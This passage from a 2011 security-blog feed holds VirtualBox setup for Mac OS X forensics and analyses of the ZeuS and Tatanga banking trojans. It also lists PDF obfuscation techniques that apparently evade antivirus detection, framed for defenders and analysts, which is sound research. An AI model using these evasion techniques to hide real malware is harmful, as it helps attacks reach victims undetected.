--vram 32&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --add sata --controller IntelAHCI --name SATAController&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --add ide --controller PIIX4 --name IDEController&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt;  --name SATAController --hostiocache on&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --name IDEController --hostiocache on&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --usb on --keyboard usb --mouse usb&lt;br /&gt; $VBoxManage storageattach &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --storagectl SATAController --type hdd --port 0 --device 0 --medium &lt;span style="color: rgb(51, 51, 255);"&gt;/VirtualMachines&lt;/span&gt;/HDDs/imagen.vdi&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --firmware efi64&lt;br /&gt; $VBoxManage setextradata &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; VBoxInternal2/EfiGopMode 4&lt;span&gt;&lt;br /&gt;&lt;/span&gt; $&lt;span&gt;VBoxManage setextradata &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt;&lt;span&gt; VBoxInternal2/SmcDeviceKey "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;…&lt;span lang="en-GB"&gt;and the machine is started up as follows: &lt;/span&gt; &lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;span&gt;&lt;/span&gt; $VBoxManage startvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;                 &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;(*)Where &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;MacOSX&lt;/span&gt;&lt;span lang="en-GB"&gt; is the name given to the virtual machine and &lt;/span&gt;&lt;span style="color: rgb(51, 51, 255); font-style: italic;"&gt;/VirtualMachines&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;" lang="en-GB"&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; is the directory where it will be stored.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Of course, it is also possible to create a virtual machine in &lt;i&gt;VirtualBox&lt;/i&gt; through the graphical interface assistant, selecting &lt;i&gt;Mac OS X Server&lt;/i&gt; as the operating system and afterwards modifying the configuration in the following way:&lt;/span&gt;&lt;/p&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;     &lt;ul&gt;&lt;li&gt;&lt;i&gt;S&lt;/i&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;ystem/Motherboard:       &lt;/i&gt;Uncheck "Floppy Disk"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;System/Acceleration:&lt;/i&gt; Disable "Nested Paging"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Display/Video:&lt;/i&gt; Set to more than 32 MB of memory and select “Enable 3D acceleration”&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Storage/IDE Controller &amp;amp; SATA Controller: &lt;/i&gt;Select “Use host I/O cache”&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;USB:&lt;/i&gt; Enable the USB controller&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;/ul&gt;                  &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;After this setup, completely close the interface and any other related process and open the configuration file &lt;span style="font-style: italic;"&gt;.vbox&lt;/span&gt; (before &lt;span style="font-style: italic;"&gt;.xml&lt;/span&gt;) in&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; &lt;span style="font-style: italic;"&gt;/VirtualMachines&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;/MacOSX&lt;/span&gt; &lt;/span&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.21px; }&lt;/style&gt;&lt;span lang="en-GB"&gt;with a text editor and add the following in the&lt;/span&gt;  &lt;span style="font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;i&gt;ExtraData&amp;gt;&lt;/i&gt; section:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;span style="font-style: italic;"&gt; &amp;lt;&lt;/span&gt;&lt;i&gt;ExtraDataItem name="VBoxInternal2/EfiGopMode" value="4"/&amp;gt; &lt;/i&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; &amp;lt;&lt;/span&gt;&lt;i&gt;ExtraDataItem name="VBoxInternal2/SmcDeviceKey" value="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"/&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;Finally, start the machine to be able to proceed with the “online” analysis and obtain data such as active processes, capture network traffic, etc.. &lt;/span&gt; &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-i.html"&gt;Live         Forensics Mac OS X (I)&lt;/a&gt;&lt;/div&gt;         &lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-ii.html"&gt;Live Forensics Mac OS X (II)&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Santiago Vicente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-8942398609112571626?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/flOk3OwXgAc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8942398609112571626/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8942398609112571626" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8942398609112571626?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8942398609112571626?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/flOk3OwXgAc/live-forensics-mac-os-x-i.html" title="Live Forensics Mac OS X (I)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIERns7fSp7ImA9WhZbF04.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8611763762671716726</id><published>2011-06-22T02:58:00.000-07:00</published><updated>2011-06-22T03:11:47.505-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-22T03:11:47.505-07:00</app:edited><title>Evolution, ramification and reflections on Zeus.</title><content type="html">&lt;a href="http://2.bp.blogspot.com/-KjuUonrODfs/TgG-8tUo5rI/AAAAAAAAAvI/-7hDdjGUFXM/s1600/cmp2010.PNG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;After some years as the prevailing king of the banking Trojans, in recent months there has been lots of talk about the possibility of radical changes in ZeuS itself, and in this post I am going to try to give my opinion about the most important aspects of the subject.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;A possible merger with SpyEye?&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Firstly, there was talk of the possible release of the ZeuS source code to the creators of SpyEye, leading to talk of the disappearance of ZeuS and the evolution of SpyEye in its place. While it is true that SpyEye has evolved and certain characteristics pertaining to ZeuS have been seen in SpyEye versions (indeed, some servers seem to have 2 front ends for the same database), the reality is that both Trojans are still being used separately and that each one has evolved.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As may be expected, improvements will be implemented that are both easily achievable and the creator feels add value to the piece of malware. Now that the ZeuS source code has been made public, it is likely that we will see parts of ZeuS used in other malware samples, but ZeuS will remain as active as ever.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Ramifications of the publication of the source code?&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As everyone knows, version 2.0.8.9 source code was made public, which led to fears of a proliferation of modified versions. It is a reasonable fear, but given that the underground world is so specialized, it is probable that the biggest users of ZeuS kits do not have the necessary technical knowledge to personalize the botnet as they would like.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There is no doubt that people with the capability for the task exist, but it is not straightforward and whoever does it should profit from its sale. There are few groups that have a solid knowledge base and the necessary resources of time and effort needed to take this step. For these reasons, I do not believe that by the end of the year there will be 100 new variants of ZeuS, although it would not surprise me to find 2 or 3, possibly more given that we have already seen some new versions recently.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;ZeuS v2.1 and the challenges it poses.&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As has been discussed in depth, versions 2.1 of Zeus (known as Licat and Murofet), contain characteristics that vary substantially from the usual ZeuS:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;The generation of domain names based on the date (in case the configured, default domain name does not work). &lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Changes in the configuration file:&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;Identification codes of new sections can be found.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;The URL for the binary update, configuration and C&amp;amp;C are not hardcoded, as they are generated with the algorithm mentioned above.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Some sections of the configuration file have extra encryption besides the XOR and RC4 layers usually found in the Zeus 2.0.x family.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Besides these versions, we have observed versions 2.1.x that do not share these characteristics and apparently belong to the natural evolution of ZeuS.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In the &lt;i&gt;modified &lt;/i&gt;version, due to the use of a domain name algorithm, I dare say that it belongs to a personalized version of ZeuS, modified by a specific group and not an evolution of the, shall we say, core version. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Adding a date based domain name generation means centralizing the control panel and therefore selling it as a malware kit no longer makes sense. Of course, this could be removed from the generation of domain names, as besides the date, it can use a key to personalize the algorithm, but it seems that is not the case.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Without making a complete analysis of domain name generation, I would say that the campaign of personalizing versions belongs to the owners of the same campaigns from the end of last year (when, in fact, the ZeuS code was still not public). I base this on 3 details:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;The same modus operandi, with a hardcoded domain name and the generation of domain names based on the current date, in case the initial domain does not respond.&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;A limitation to, supposedly, 1020 values based on the current minute.&lt;/div&gt;&lt;img src="http://2.bp.blogspot.com/-m4bPtWm9zdM/TgG-w5ajQcI/AAAAAAAAAvA/dxM7wi_wF9k/s400/minutos.PNG" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 151px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5620983557190271426" /&gt;&lt;/li&gt;&lt;li&gt; Checks to see if the year is less than 2010 (and not 2011)&lt;img src="http://2.bp.blogspot.com/-KjuUonrODfs/TgG-8tUo5rI/AAAAAAAAAvI/-7hDdjGUFXM/s400/cmp2010.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5620983760102680242" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 132px; " /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;Mikel Gastesi&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-8611763762671716726?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/VZWWHxSVv_Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8611763762671716726/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8611763762671716726" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8611763762671716726?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8611763762671716726?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/VZWWHxSVv_Y/evolution-ramification-and-reflections.html" title="Evolution, ramification and reflections on Zeus." /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-m4bPtWm9zdM/TgG-w5ajQcI/AAAAAAAAAvA/dxM7wi_wF9k/s72-c/minutos.PNG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/evolution-ramification-and-reflections.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUMRX44eip7ImA9WhRTEUs.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-6169939446089617702</id><published>2011-05-16T01:12:00.000-07:00</published><updated>2011-11-01T10:08:04.032-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-01T10:08:04.032-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Antivirus" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>Obfuscation and (non-)detection of malicious PDF files</title><content type="html">&lt;div style="text-align: justify;"&gt;More than two months ago I talked at &lt;a href="http://www.rootedcon.es/congreso/ponencias.html#pdfs"&gt;Rooted CON (Madrid)&lt;/a&gt; about &lt;a href="http://eternal-todo.com/files/presentations/obfuscation_pdf_files_peepdf.pdf"&gt;some techniques to obfuscate and hide malicious PDF files&lt;/a&gt;. I gave the same speech at &lt;a href="http://www.caro2011.org/program.php"&gt;CARO 2011 (Prague)&lt;/a&gt; last Friday with &lt;a href="http://eternal-todo.com/files/presentations/obfuscation_detection_pdf_files_peepdf_caro2011.pdf"&gt;updated slides&lt;/a&gt; and a demo of &lt;a href="http://eternal-todo.com/tools/peepdf-pdf-analysis-tool"&gt;peepdf&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The idea is that it's possible to use some malformations in the documents, like those &lt;a href="http://events.ccc.de/congress/2010/Fahrplan/events/4221.en.html"&gt;commented by Julia Wolf&lt;/a&gt;, and the PDF specification itself in order to keep the files hidden from Antivirus engines and parsers. Bad guys can effectively use it to create an undetectable exploit and use it as an attacking vector. Some of the techniques are the following:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Using the &lt;span style="font-style: italic;"&gt;/Names&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;/AcroForm&lt;/span&gt; elements of the &lt;span style="font-style: italic;"&gt;Catalog&lt;/span&gt; object to execute code when the document is opened, instead of the &lt;span style="font-style: italic;"&gt;/OpenAction&lt;/span&gt; element.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;If the malicious content is stored in a string object it's possible to hide it thanks to the octal codification.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;However, if the content is stored in a stream object some unknown filters can be applied, like &lt;span style="font-style: italic;"&gt;/JBIG2Decode&lt;/span&gt; or &lt;span style="font-style: italic;"&gt;/DCTDecode&lt;/span&gt;, avoiding the most used, like &lt;span style="font-style: italic;"&gt;/FlateDecode&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;/ASCIIHexDecode&lt;/span&gt;. Avast researchers found recently that this is something that &lt;a href="https://blog.avast.com/2011/04/22/another-nasty-trick-in-malicious-pdf/"&gt;cyberdelinquents are already using in the wild&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;In the case of &lt;span style="font-style: italic;"&gt;/FlateDecode&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;/LZWDecode&lt;/span&gt; filters it's possible to define some parameters in order to make the analysis more difficult.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Split up the malicious code in several parts and store them in different locations of the document. In the case of Javascript code it's possible to store them in the &lt;span style="font-style: italic;"&gt;/Names&lt;/span&gt; element of the &lt;span style="font-style: italic;"&gt;Catalog&lt;/span&gt;. Also some specific functions can be used to retrieve some elements of the document, like &lt;span style="font-style: italic;"&gt;getAnnots&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;getPageNthWord&lt;/span&gt;, etc.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Avoid the &lt;span style="font-style: italic;"&gt;endobj&lt;/span&gt; tag at the final of the objects to cheat the parsers.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Put null bytes in the header of the document.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Compressing the malicious objects in the so-called &lt;span style="font-style: italic;"&gt;object streams&lt;/span&gt; to add an additional obfuscation level.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Encrypt the document with the “default password”.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Embed the malicious file in a legit one. It's possible to open the malicious file automatically when the legit document is opened.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In the demo I performed last Friday I modified a &lt;a href="http://www.virustotal.com/file-scan/report.html?id=633f5bf8ef0a03fe1e8e00a3350aa1acd3174d7f0dbc16fc9c9bac747a59f7a5-1304673261"&gt;detected malicious PDF file&lt;/a&gt; (34/43) to decrease its detection rate, being &lt;a href="http://www.virustotal.com/file-scan/report.html?id=fbfd6df6a14f3cab3742d84af2b7d3d881ad11ef7d1344ba166092c890f47f77-1303817670"&gt;detected only by one Antivirus engine&lt;/a&gt; after the modifications. The results of the tests performed in February were even worse, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=fbfd6df6a14f3cab3742d84af2b7d3d881ad11ef7d1344ba166092c890f47f77-1298457739"&gt;being totally undetectable&lt;/a&gt;. Although bad guys are not using all these techniques yet, they will do, therefore it's important to take them into account in the development process of analysis tools and Antivirus products.&lt;br /&gt;&lt;br /&gt;The tool I've developed for the analysis of malicious PDF files, &lt;a href="http://peepdf.eternal-todo.com/"&gt;peepdf&lt;/a&gt;, was released last Friday too, and it supports most of the commented techniques, so it's a good option when a PDF file must be analysed. It's the first version of the tool, so all  comments and potential bugs are welcomed! ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;(&lt;a href="http://eternal-todo.com"&gt;Blog&lt;/a&gt; / &lt;a href="http://twitter.com/eternaltodo"&gt;Twitter&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-6169939446089617702?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/KBLlmAI0ZiI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/6169939446089617702/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=6169939446089617702" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6169939446089617702?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6169939446089617702?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/KBLlmAI0ZiI/obfuscation-and-non-detection-of.html" title="Obfuscation and (non-)detection of malicious PDF files" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/05/obfuscation-and-non-detection-of.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUQGQXc9cCp7ImA9WhRTEUs.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3635193642668947358</id><published>2011-02-25T04:57:00.000-08:00</published><updated>2011-11-01T10:08:40.968-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-01T10:08:40.968-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ecrime" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><title>Tatanga: a new banking trojan with MitB functions</title><content type="html">&lt;div style="text-align: justify;"&gt;Recently our e-crime unit has detected a new banking trojan, named as &lt;a href="http://www.mariowiki.com/Tatanga"&gt;Tatanga&lt;/a&gt;, with Man in the Browser (MitB) functions affecting banks in Spain, United Kingdom, Germany and Portugal. Like &lt;a href="http://securityblog.s21sec.com/2010/10/spyeye-latest-features-include-man-in.html"&gt;SpyEye&lt;/a&gt;, it can perform automatic transactions, retrieving the mules from a server and spoofing the real balance and banking operations of the users. Its &lt;a href="http://www.virustotal.com/file-scan/report.html?id=3c9ecf9f0b3c1b93b20ad5778b42c218bffa749de29a155c432e3521e2875c50-1297975866"&gt;detection rate&lt;/a&gt; is very low, and the few antivirus engines that can detect it yield a generic result.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The trojan in question is rather sophisticated. It is written in C++ and uses rootkit techniques to conceal its presence, though on occasion, its files are visible. The trojan downloads a number of encrypted modules (DLLs), which are decrypted in memory when injected to the browser or other processes to avoid detection by antivirus software. The modules are the following:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModEmailGrabber&lt;/span&gt;: It gathers e-mail addresses.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Coredb&lt;/span&gt;: It manages the trojan's configuration. The corresponding file is encrypted with the algorithm 3DES.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Comm Support Library&lt;/span&gt;: This module implements the encryption of the communication between the trojan and the control panel.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;File Patcher&lt;/span&gt;: The function of this module is not clear yet. It is suspected that it is in charge of the propagation across folders containing multimedia, zipped or executable files.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModMalwareRemover&lt;/span&gt;: Used in the removal of other malware families, including Zeus.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-oIoU7yl-gxk/TWey5hSPTeI/AAAAAAAAAsk/-OFJEMnf1ng/s1600/zeus2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 156px;" src="http://3.bp.blogspot.com/-oIoU7yl-gxk/TWey5hSPTeI/AAAAAAAAAsk/-OFJEMnf1ng/s400/zeus2.png" alt="" id="BLOGGER_PHOTO_ID_5577623364778806754" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModBlockAVTraffic&lt;/span&gt;: It blocks the antivirus application installed in the system.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModDynamicInjection&lt;/span&gt;: Related to HTML injections&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The modules names &lt;span style="font-style: italic;"&gt;ModEmailGrabber&lt;/span&gt; and ModMalwareRemover might have been used in a bot in 2008, so maybe this is the result of the evolution of that malware.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Like other trojans of this kind, it uses an encrypted configuration file. This file is in XML format and has a &lt;typen&gt; element for each affected country. The code for each country is encoded and has the following format:&lt;br /&gt;&lt;/typen&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;^^monitorized_url1~~monitorized_url2||code_replaced_in_legit_webpage||code_to_replace_for&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Depending on the targeted bank, the trojan can passively grab the credentials or ask for more in order to make the fraudulent transaction in the user session. In some cases the requested credentials include the OTP mobile key and they success thanks to a good social engineering in their injections:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-vZnxtNAPCoI/TWezKeI0LMI/AAAAAAAAAss/KWP43XMLVo4/s1600/demo.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 177px;" 